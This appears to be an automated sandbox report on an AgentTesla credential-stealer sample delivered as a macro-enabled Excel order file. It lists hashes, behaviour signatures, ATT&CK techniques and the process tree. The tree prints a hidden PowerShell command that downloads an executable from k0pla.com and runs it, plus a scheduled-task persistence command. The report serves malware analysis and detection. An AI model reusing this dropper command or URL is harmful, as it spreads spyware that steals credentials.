agenttesla | 0eebca5c4174eecc1f3f8066db7dcafaf96d9d89914617cac3c5ba925010abee

General

Target

Order8524252.xlsm
Size

72KB
MD5

f41acbed47044b2588718f457ef8bf2b
SHA1

b85e29bed6977c1d689b057d548882e7058f2648
SHA256

0eebca5c4174eecc1f3f8066db7dcafaf96d9d89914617cac3c5ba925010abee
SHA512

dea10f3ea04673b293727780d2d36283c1faecf0f90874c7c5b1c3687ddd722c2a87fad2f6e77805f2ed23ef1e34065c96096745278b0e4439e84d871200fa56

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://k0pla.com/order587458.exe

Signatures

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegSvcs.exe

description pid process

Token: SeDebugPrivilege 864 powershell.exe
Token: SeDebugPrivilege 1932 RegSvcs.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1296 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	1932	RegSvcs.exe

pid	process
1296	EXCEL.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

EXCEL.EXEpowershell.exeputty.exe

description	pid	process	target process
PID 1296 wrote to memory of 864	1296	EXCEL.EXE	powershell.exe
PID 1296 wrote to memory of 864	1296	EXCEL.EXE	powershell.exe
PID 1296 wrote to memory of 864	1296	EXCEL.EXE	powershell.exe
PID 864 wrote to memory of 1796	864	powershell.exe	putty.exe
PID 864 wrote to memory of 1796	864	powershell.exe	putty.exe
PID 864 wrote to memory of 1796	864	powershell.exe	putty.exe
PID 864 wrote to memory of 1796	864	powershell.exe	putty.exe
PID 1796 wrote to memory of 1916	1796	putty.exe	schtasks.exe
PID 1796 wrote to memory of 1916	1796	putty.exe	schtasks.exe
PID 1796 wrote to memory of 1916	1796	putty.exe	schtasks.exe
PID 1796 wrote to memory of 1916	1796	putty.exe	schtasks.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe
PID 1796 wrote to memory of 1932	1796	putty.exe	RegSvcs.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

putty.exe

description pid process target process

PID 1796 set thread context of 1932 1796 putty.exe RegSvcs.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1916 schtasks.exe

description	pid	process	target process
PID 1796 set thread context of 1932	1796	putty.exe	RegSvcs.exe

pid	process
1916	schtasks.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	864	1296	powershell.exe	EXCEL.EXE

Executes dropped EXE 1 IoCs

Processes:

putty.exe

pid process

1796 putty.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 864 powershell.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXERegSvcs.exe

pid process

1296 EXCEL.EXE
1296 EXCEL.EXE
1296 EXCEL.EXE
1296 EXCEL.EXE
1296 EXCEL.EXE
1932 RegSvcs.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeRegSvcs.exe

pid process

864 powershell.exe
1932 RegSvcs.exe
1932 RegSvcs.exe

pid	process
1796	putty.exe

flow	pid	process
4	864	powershell.exe

pid	process
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1296	EXCEL.EXE
1932	RegSvcs.exe

pid	process
864	powershell.exe
1932	RegSvcs.exe
1932	RegSvcs.exe

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Order8524252.xlsm
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://k0pla.com/order587458.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:864

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Executes dropped EXE
PID:1796

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nkaqFYsJopyNk" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2876.tmp"
4⤵
- Creates scheduled task(s)
PID:1916

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"{path}"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:1932

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\putty.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2876.tmp

Download Submit
memory/864-4-0x0000000000000000-mapping.dmp

Download
memory/1296-3-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/1296-2-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/1296-1-0x0000000005F20000-0x0000000006020000-memory.dmp

Filesize
1024KB

Download
memory/1796-5-0x0000000000000000-mapping.dmp

Download
memory/1796-9-0x0000000000000000-0x0000000000000000-disk.dmp

Download
memory/1916-10-0x0000000000000000-mapping.dmp

Download
memory/1932-12-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1932-13-0x0000000000446C8E-mapping.dmp

Download
memory/1932-14-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1932-15-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads